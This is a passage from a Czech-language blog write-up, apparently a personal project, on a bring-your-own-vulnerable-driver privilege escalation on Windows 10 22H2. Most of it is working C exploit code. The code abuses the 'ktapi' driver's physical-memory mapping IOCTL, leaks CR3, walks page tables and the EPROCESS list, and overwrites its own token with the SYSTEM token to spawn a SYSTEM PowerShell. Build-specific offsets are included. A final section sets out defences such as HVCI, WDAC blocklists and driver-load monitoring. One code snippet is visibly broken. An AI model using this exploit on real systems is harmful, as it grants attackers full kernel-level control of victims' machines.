dt nt!_EPROCESS UniqueProcessId ActiveProcessLinks Token ImageFileName

Výsledky

HalpLMStub offset:

Evaluate expression: 4174816 = 00000000`003f93e0

_EPROCESS offsety:

   +0x440 UniqueProcessId    : Ptr64 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   +0x4b8 Token              : _EX_FAST_REF
   +0x5a8 ImageFileName      : [15] UChar

Použití v kódu

Tyto offsety potom můžeme používat dále v kódu, v exploitu jsou nadefinovány takto:

// Offsets for Windows 10 22H2 (build 19045)
#define HALP_LM_STUB_OFFSET                0x3F93E0ULL
#define EPROCESS_UNIQUEPROCESSID_OFFSET    0x440ULL
#define EPROCESS_ACTIVEPROCESSLINKS_OFFSET 0x448ULL
#define EPROCESS_TOKEN_OFFSET              0x4B8ULL
#define EPROCESS_IMAGEFILENAME_OFFSET      0x5A8ULL

Získávání čtení a zápisu fyzické paměti

Jako první, musíme získat handle na ovladač, což můžeme udělat jednoduchou funkcí:

BOOL openDriver(HANDLE *out){
    if (out == NULL) {
        return FALSE;
    }

    HANDLE hDevice = CreateFileA(
        "\\\\.\\ktapi",
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        *out = INVALID_HANDLE_VALUE;
        return FALSE;
    }

    *out = hDevice;
    return TRUE;
}

Při reversním inženýrství ovladače jsme byli schopni získat offsety a velikosti v struktury zprávy, která se posílá driveru, v reálném kódu by šla přeložit takto:

struct MAP_PHYSICAL_INPUT {
    DWORD     InterfaceType;
    DWORD     BusNumber;
    ULONGLONG BusAddress;
    DWORD     AddressSpace;
    DWORD     Length;
};

Jakmile tohle máme už nám zbývá získat jenom "pointer pro fyzickou paměť", který můžeme získat pomocí následující funkce:

BOOL getPointerForPhysicalAddress(ULONGLONG busAddress, DWORD length, BYTE **out){
    if (out == NULL) {
        return FALSE;
    }

    struct MAP_PHYSICAL_INPUT in = {
        .InterfaceType = 0,
        .BusNumber     = 0,
        .BusAddress    = busAddress,
        .AddressSpace  = 0,
        .Length        = length,
    };

    DWORD returned = 0;
    ULONGLONG tmp = 0;

    BOOL ok = DeviceIoControl(
        g_hDevice,
        0x82007000,
        &in, sizeof(in),
        &tmp, sizeof(tmp),
        &returned, NULL
    );

    if (ok && returned == sizeof(ULONGLONG)) {
        *out = (BYTE*)(uintptr_t)tmp;
        return TRUE;
    }

    return FALSE;
}

Potom už jen doděláme funkce, pro komfortní práci s pamětí:

// Read physical memory
static BOOL readPhysical(ULONGLONG address, void *buf, DWORD size){
    BYTE *mapping = NULL;

    if (!getPointerForPhysicalAddress(address, size, &mapping)) {
        return FALSE;
    }

    memcpy(buf, mapping, size);
    return TRUE;
}

// Read 64 bits from physical memory
static BOOL readPhysical64(ULONGLONG address, ULONGLONG *value){
    return readPhysical(address, value, sizeof(ULONGLONG));
}

// Write physical memory
static BOOL writePhysical(ULONGLONG address, const void *buf, DWORD size){
    BYTE *mapping = NULL;

    if (!getPointerForPhysicalAddress(address, size, &mapping)) {
        return FALSE;
    }

    memcpy(mapping, buf, size);
    return TRUE;
}

// Write 64 bits to physical memory
static BOOL writePhysical64(ULONGLONG address, ULONGLONG value){
    return writePhysical(address, &value, sizeof(ULONGLONG));
}

Získání ntosBase

ntosBase je virtuální adresa začátku ntoskrnl.exe v kernelovém prostoru. Je to základní kámen pro výpočet adresy nt!HalpLMStub a parsování exportů pro PsInitialSystemProcess.

Získáváme ho pomocí WinAPI funkce EnumDeviceDrivers, která vrátí pole base adres všech načtených kernel driverů. Pak projdeme toto pole a hledáme driver se jménem ntoskrnl.exe (nebo ntkrnlmp.exe).

ULONG64 GetNtosBase() {
    LPVOID driverBaseAddresses[1024];
    DWORD sizeRequired;

    if (!EnumDeviceDrivers(driverBaseAddresses, sizeof(driverBaseAddresses), &sizeRequired)) {
        return 0;
    }

    DWORD count = sizeRequired / sizeof(LPVOID);

    if (count > 1024) {
        count = 1024;
    }

    for (DWORD i = 0; i < count; i++) {
        char name[MAX_PATH] = {0};

        if (GetDeviceDriverBaseNameA(driverBaseAddresses[i], name, sizeof(name))) {
            if (_stricmp(name, "ntoskrnl.exe") == 0 ||
                _stricmp(name, "ntkrnlmp.exe") == 0) {

                ULONG64 base = (ULONG64)driverBaseAddresses[i];

                if ((base >> 32) == 0xffffffffULL) {
                    base = (base & 0xFFFFFFFFULL) | 0xFFFFF80000000000ULL;
                }

                return base;
            }
        }
    }

    return 0;
}

Musíme si ještě dát pozor že na verzích Windows vyšších než 10 v user-mode maskuje horní bity. Proto nahradíme 32 horních bitů za 0xFFFFF800, což je typický základ kernel adres na x64.

Získávání CR3

Aby jsme mohli překládat z virtuální na fyzickou, musíme získat CR3. A to je právě uložené v Low Stub (PROCESSOR_START_BLOCK) struktuře, které jádro vytváří při bootu. Tato struktura leží v 1 MB fyzické paměti (v exploitu je 16 MB z důvodu stability, protože mi exploit fungoval jenom někdy a 16 MB je bezpečná hodnota) a obsahuje:

OffsetCo tam je
+0x70HalpLMStub - pointer na nt!HalpLMStub (signatura)
+0xA0CR3 - hodnota, kterou hledáme
ULONG64 getCR3() {
    ULONG64 ntosBase = GetNtosBase();

    if (!ntosBase) {
        return 0;
    }

    ULONG64 halpLMStub = ntosBase + HALP_LM_STUB_OFFSET;

    printf("[+] ntoskrnl base : 0x%llx\n", ntosBase);
    printf("[+] HalpLMStub VA: 0x%llx\n", halpLMStub);

    for (ULONG64 base = 0; base < SCAN_LIMIT; base += MAX_MAP_SIZE) {
        BYTE *memory_data = NULL;

        if (!getPointerForPhysicalAddress(base, (DWORD)MAX_MAP_SIZE, &memory_data)) {
            continue;
        }

        for (ULONG64 offset = 0; offset < MAX_MAP_SIZE; offset += 8) {
            ULONG64 qword = *(ULONG64*)(memory_data + offset);

            if (qword == halpLMStub) {
                printf("[+] Found nt!HalpLMStub in Low Stub at phys 0x%llx\n",
                       base + offset);

                ULONG64 cr3 = 0;
                readPhysical64(base + offset + 0x30, &cr3);
                cr3 &= 0x000FFFFFFFFFF000ULL;

                printf("[+] Leaked CR3 -> 0x%llx\n", cr3);
                return cr3;
            }
        }
    }

    return 0;
}

Trik spočívá v tom, že si dokážeme dopočítat hodnotu nt!HalpLMStub. Low stub obsahuje tu samou hodnotu a o 0x30(víme pomocí 0xA0 - 0x70) dále leží CR3.

Důvod proč mapujeme paměť jenom po 2 MB je že při testování ovladač odmítl namapovat více, a to zřejmě kvůli funkci HalTranslateBusAddress v ovladači. Která při požadavku na mapování více místa vypsala error, a mapování tak selhalo.

Přeložení virtuální adresy na fyzickou

Po získání CR3 jsme schopni proces překládání fyzické adresy na virtuální obrátit pomocí page-walkingu vysvětlený nahoře. Je to vlastně jen softwarová implementace funkce procesoru, jen naopak:

BOOL virtualToPhysical(ULONG64 cr3, ULONG64 virtualAddr, ULONG64 *physicalAddr) {
    ULONG64 i4 = (virtualAddr >> 39) & 0x1FF;
    ULONG64 i3 = (virtualAddr >> 30) & 0x1FF;
    ULONG64 i2 = (virtualAddr >> 21) & 0x1FF;
    ULONG64 i1 = (virtualAddr >> 12) & 0x1FF;
    ULONG64 offset = virtualAddr & 0xFFF;

    ULONG64 entry;

    // PML4E
    if (!readPhysical64((cr3 & ~0xFFFULL) + i4 * 8, &entry)) {
        return FALSE;
    }

    if (!(entry & 1)) {
        return FALSE;
    }

    ULONG64 pdpt = entry & 0x000FFFFFFFFFF000ULL;

    // PDPTE
    if (!readPhysical64(pdpt + i3 * 8, &entry)) {
        return FALSE;
    }

    if (!(entry & 1)) {
        return FALSE;
    }

    if (entry & (1ULL << 7)) {
        *physicalAddr = (entry & 0x000FFFFFC0000000ULL) + (virtualAddr & 0x3FFFFFFFULL);
        return TRUE;
    }

    ULONG64 pd = entry & 0x000FFFFFFFFFF000ULL;

    // PDE
    if (!readPhysical64(pd + i2 * 8, &entry)) {
        return FALSE;
    }

    if (!(entry & 1)) {
        return FALSE;
    }

    if (entry & (1ULL << 7)) {
        *physicalAddr = (entry & 0x000FFFFFFFE00000ULL) + (virtualAddr & 0x1FFFFFULL);
        return TRUE;
    }

    ULONG64 pt = entry & 0x000FFFFFFFFFF000ULL;

    // PTE
    if (!readPhysical64(pt + i1 * 8, &entry)) {
        return FALSE;
    }

    if (!(entry & 1)) {
        return FALSE;
    }

    *physicalAddr = (entry & 0x000FFFFFFFFFF000ULL) + offset;
    return TRUE;
}

Potom jen stačí udělat funkce které využijí tohoto překladu:

// Read virtual memory
BOOL readVirtual(ULONG64 cr3, ULONG64 virtualAddr, void *buf, DWORD size) {
    BYTE *out = (BYTE*)buf;
    DWORD done = 0;

    while (done < size) {
        ULONG64 pa = 0;

        if (!virtualToPhysical(cr3, virtualAddr + done, &pa)) {
            return FALSE;
        }

        DWORD pageRemaining = 0x1000 - (DWORD)(pa & 0xFFF);
        DWORD remaining = size - done;
        DWORD toRead = pageRemaining;

        if (remaining < pageRemaining) {
            toRead = remaining;
        }

        if (!readPhysical(pa, out + done, toRead)) {
            return FALSE;
        }

        done += toRead;
    }

    return TRUE;
}

// Read 64 bits from virtual memory
BOOL readVirtual64(ULONG64 cr3, ULONG64 virtualAddr, ULONG64 *value) {
    return readVirtual(cr3, virtualAddr, value, sizeof(ULONG64));
}

Nacházení SYSTEM tokenu

Aby jsme našli fyzickou adresu EPROCESS tokenu programu, který běží jako SYSTEM. Musíme najít globální exportovanou proměnou psInitialSystemProcess která obsahuje adresu EPROCESS tokenu pro SYSTEM proces (PID 4). Tu můžeme najít pomocí vytvořené funkce v exploitu (getSymbolAddress), která provádí následující kroky:

Přečtení DOS headeru

IMAGE_DOS_HEADER dos;

if (!readVirtual(cr3, ntosBase, &dos, sizeof(dos))) {
    return 0;
}

if (dos.e_magic != IMAGE_DOS_SIGNATURE) {
    return 0;
}

Tímto kódem přečteme prvních 64 bajtů ntoskrnl.exe, zkontrolujeme že začíná na MZ (signatura dos headeru) a získáme dos.e_lfanew což je offset NT headeru (obvykle 0xF8).

Přečtení NT headeru

IMAGE_NT_HEADERS64 
if (!readVirtual(cr3, ntosBase + dos.e_lfanew, &nt, sizeof(nt)))
    return 0;
}

if (nt.Signature != IMAGE_NT_SIGNATURE) {
    return 0;
}

Zde přečteme NT header (264 bajtů na x64), zkontrolujeme signaturu PE\0\0 a získáme DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] což je RVA exportní tabulky.

Přečtení export directory

IMAGE_DATA_DIRECTORY expDir = nt.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

if (expDir.VirtualAddress == 0) {
    return 0;
}

IMAGE_EXPORT_DIRECTORY exp;

if (!readVirtual(cr3, ntosBase + expDir.VirtualAddress, &exp, sizeof(exp))) {
    return 0;
}

IMAGE_EXPORT_DIRECTORY obsahuje metadata:

  • NumberOfNames - počet exportovaných jmen.
  • NumberOfFunctions - počet exportovaných funkcí.
  • AddressOfNames - RVA pole jmen.
  • AddressOfNameOrdinals - RVA pole ordinálů.
  • AddressOfFunctions - RVA pole adres funkcí.

Načtení tří polí

DWORD *names = (DWORD*)malloc(exp.NumberOfNames * sizeof(DWORD));
WORD  *ordinals = (WORD*)malloc(exp.NumberOfNames * sizeof(WORD));
DWORD *functions = (DWORD*)malloc(exp.NumberOfFunctions * sizeof(DWORD));

if (!names || !ordinals || !functions) {
    return 0;
}

readVirtual(cr3, ntosBase + exp.AddressOfNames, names, exp.NumberOfNames * sizeof(DWORD));

readVirtual(cr3, ntosBase + exp.AddressOfNameOrdinals, ordinals, exp.NumberOfNames * sizeof(WORD));

readVirtual(cr3, ntosBase + exp.AddressOfFunctions, functions, exp.NumberOfFunctions * sizeof(DWORD));
  • names - pole RVA řetězců se jmény ("PsInitialSystemProcess", "KeBugCheck", ...).
  • ordinals - pole indexů do functions.
  • functions - pole RVA adres funkcí.

Procházení jmen a nacházení symbolu

for (DWORD i = 0; i < exp.NumberOfNames; i++) {
    char name[64];

    if (!readVirtual(cr3, ntosBase + names[i], name, sizeof(name))) {
        continue;
    }

    name[63] = 0;

    if (strcmp(name, symbol) == 0) {
        result = ntosBase + functions[ordinals[i]];
        break;
    }
}

Pro každé jméno:

  1. Přečteme řetězec z ntosBase + names[i].
  2. Porovnáváme s hledaným symbolem.
  3. Pokud se rovná:
    • ordinals[i] = index do pole funkcí
    • functions[ordinals[i]] = RVA symbolu
    • ntosBase + RVA = virtuální adrese symbolu

Použití v kódu

V exploitu takhle hledáme dynamicky symbol psInitialSystemProcess. Vzhledem k tomu že to je dynamické hledání, máme benefit toho, že nezávisíme na konkrétním offsetu ve konkrétní verzi Windows, ale jsme místo toho schopni si psInitialSystemProcess dohledat sami.

Potom už stačí jenom přečíst psInitialSystemProcess, který obsahuje virtuální adresu "SYSTEM tokenu" a tu pak převést na fyzickou, s kterou můžeme pracovat.

printf("[+] Resolving PsInitialSystemProcess...\n");

ULONG64 psInitialSystemProcess = getSymbolAddress(cr3, ntosBase, "PsInitialSystemProcess");

if (!psInitialSystemProcess) {
    printf("[-] Failed to find PsInitialSystemProcess\n");
    return 1;
}

printf("[+] PsInitialSystemProcess = 0x%llx\n", psInitialSystemProcess);

// Read SYSTEM EPROCESS virtual address
ULONG64 systemEprocessVA = 0;

if (!readVirtual64(cr3, psInitialSystemProcess, &systemEprocessVA)) {
    printf("[-] Failed to read SYSTEM EPROCESS VA\n");
    return 1;
}

printf("[+] SYSTEM EPROCESS VA = 0x%llx\n", systemEprocessVA);

// Translate to physical address
ULONG64 systemEprocessPhys = 0;

if (!virtualToPhysical(cr3, systemEprocessVA, &systemEprocessPhys)) {
    printf("[-] VA->PA failed for SYSTEM EPROCESS\n");
    return 1;

Získání vlastního EPROCESS

Máme fyzickou adresu na EPROCESS token SYSTEM procesu. Teď potřebujeme najít náš EPROCESS abychom mu mohli přepsat token. Využijeme k tomu kruhový obousměrný seznam procesů.

Princip

Všechny EPROCESS struktury v systému jsou propojené přes pole ActiveProcessLinks (offset 0x448). Je to jako řetěz, kde každý článek ukazuje na další. Když známe jeden EPROCESS (SYSTEM), můžeme pak projít všechny ostatní:

process_list.png

Na každém procesu v seznamu si přečteme PID a porovnáme s naším PID. Když se rovnají, našli jsme svůj EPROCESS. V exploitu je to implementováno takto:

Získání vlastní PID

DWORD myPid = GetCurrentProcessId();

Toto je PID našeho procesu z user-space.

Start u SYSTEM EPROCESS

ULONG64 currentPhys = systemEprocessPhys;
ULONG64 myEprocessPhys = 0;

Procházení seznamu

Zbytek kódu už jenom procházíme seznam do té doby než nenajdeme náš EPROCESS nebo se dostaneme zpátky k SYSTEM a náš EPROCESS nenajdeme:

for (int i = 0; i < 1000; i++) {
    // Přečti PID z currentPhys + 0x440
    ULONG64 pid = 0;
    readPhysical64(currentPhys + EPROCESS_UNIQUEPROCESSID_OFFSET, &pid);

    // Přečti jméno procesu (pro debug výpis)
    char name[16] = {0};
    readPhysical(currentPhys + EPROCESS_IMAGEFILENAME_OFFSET, name, 15);

    printf("[+] [%d] PID=%llu name='%s'\n", i, pid, name);

    // Porovnej s naší PID
    if ((DWORD)pid == myPid) {
        myEprocessPhys = currentPhys;
        printf("[+] Found our EPROCESS at PA 0x%llx\n", currentPhys);
        break;
    }

    // Přejdi na další EPROCESS přes Flink
    ULONG64 flink = 0;
    readPhysical64(currentPhys + EPROCESS_ACTIVEPROCESSLINKS_OFFSET, &flink);

    // Flink ukazuje na pole ActiveProcessLinks dalšího EPROCESS
    // Odečti offset, abys dostal začátek dalšího EPROCESS
    ULONG64 nextVA = flink - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;

    // Přelož VA → PA
    ULONG64 nextPhys = 0;
    if (!virtualToPhysical(cr3, nextVA, &nextPhys)) {
        printf("[-] VA->PA failed for next EPROCESS\n");
        return 1;
    }

    // Kontrola kruhu
    if (nextPhys == systemEprocessPhys) {
        break;
    }

    // Posun na další
    currentPhys = nextPhys;
}

Přepsání vlastního EPROCESS

Po tomhle všem už nám stačí jenom přečíst SYSTEM token a přepsat ním svůj token, a spustit powershell. Který bude mít díky přepsanému tokenu privilegia NT AUTHORITY\SYSTEM.

// Read SYSTEM token
ULONG64 systemToken = 0;
readPhysical64(systemEprocessPhys + EPROCESS_TOKEN_OFFSET, &systemToken);
systemToken &= 0xFFFFFFFFFFFFFFF0ULL;

printf("[+] SYSTEM token = 0x%llx\n", systemToken);

// Overwrite our token
writePhysical64(myEprocessPhys + EPROCESS_TOKEN_OFFSET, systemToken);
printf("[+] Token stolen! Enjoy SYSTEM :)\n");

system("start powershell");

Demo

Celý funkční exploit můžete najít v GitHub repozitáři který je nahoře nad článkem. Nicméně exploit v akci vypadá takto:


Obrana

Ohledně protekce proti útokům jako BYOVD, doporučuju následující věci:

Zapnout ochranu ve Windows

V sekci moderní ochrany kernelu jsem popisoval ochrany, které jde zapnout nebo už zapnuté jsou, a myslím si že stojí za to si je projít a zkontrolovat:

windows_protection.png

Z pohledu BYOVD je asi nejdůležitější HVCI (Memory Integrity). I když se zranitelný ovladač načte, HVCI vynutí, že v kernelu poběží jen podepsaný kód, tím padají klasické techniky typu "zapiš si shellcode do kernelu a spusť ho". Neřeší to úplně všechno (třeba manipulace s tokenem přes arbitrary write, jak jsme viděli v tomto článku), ale útočníkovi to prostor zúží.

Pravda je že na konkrétní ochrany existují v některých případech i konkrétní způsoby, jak je obejít. To ale neznamená že útočníkovi jeho práci neztíží.

Použít LOLDrivers API

LOLDrivers mají bezplatné API, které vrací feed v JSON nebo CSV s vlastním blocklistem. Tady bych ale rozlišil detekci a prevenci. Napojit feed na EDR kvůli alertům je dobré, ale lepší je ale zranitelné ovladače rovnou blokovat. Nativní mechanismus na to je WDAC a LOLDrivers k tomu rovnou publikují hotové WDAC policy, takže místo obecného "propojit s detekcí" doporučuju vzít jejich policy / hashe a nasadit je přes WDAC.

Smysl to dává hlavně kvůli tomuto časovému oknu: i přes to že má Microsoft svůj vlastní blocklist ovladačů, existuje určité okno mezi tím, kdy se ovladač začne zneužívat, a tím, kdy ho Microsoft na blocklist přidá. Na LOLDrivers listě se zranitelné ovladače objevují dřív, takže tohle okno jde zmenšit.

Na co si dát pozor

Tenhle přístup má ale dvě úskalí:

  1. Blokování podle hashů řeší jenom to, co už v listu je. Útočník může sáhnout po ovladači, který zatím na listu není, takže blocklist ano, ale doplněný o behaviorální detekci, tedy monitoring load eventů ovladačů (Sysmon Event ID 6).

  2. Část ovladačů na blocklistu se pořád legitimně používá (OEM, gaming, antiviry). Proto je dobré si WDAC policy předem otestovat, aby se fungování systému nerozbilo.

Aktualizovat systém

Vím že tohle je asi nejvíce používaná věta v IT. Ale i tak sem patří ze 2 důvodů:

  1. Ve scénáři BYOVD, s aktualizacemi Windows chodí i aktualizace Microsoft blocklistu, čím je systém aktuálnější, tím více ovladačů je zablokovaných.

  2. Když udržujeme aktualizované ovladače jako takové (a odinstalujeme ty, které nepotřebujeme), útočník nemá potom na co zaútočit.

Závěr

Popravdě musím uznat, že tenhle projekt byl pro mě náročný. Začínal jsem s tím že jsem měl znalost o ringách a o virtualizaci paměti. Myslím si ale, že tenhle projekt mi celkově hodně dal o znalosti jak Windows kernelu a ovladačů, tak i znalost počítače jako takového. Také to potvrdilo můj zájem o low-level, i přesto že jsem narazil na spoustu problémů, mě tenhle projekt vážně bavil. Takže můžete počítat s více články tohoto typu.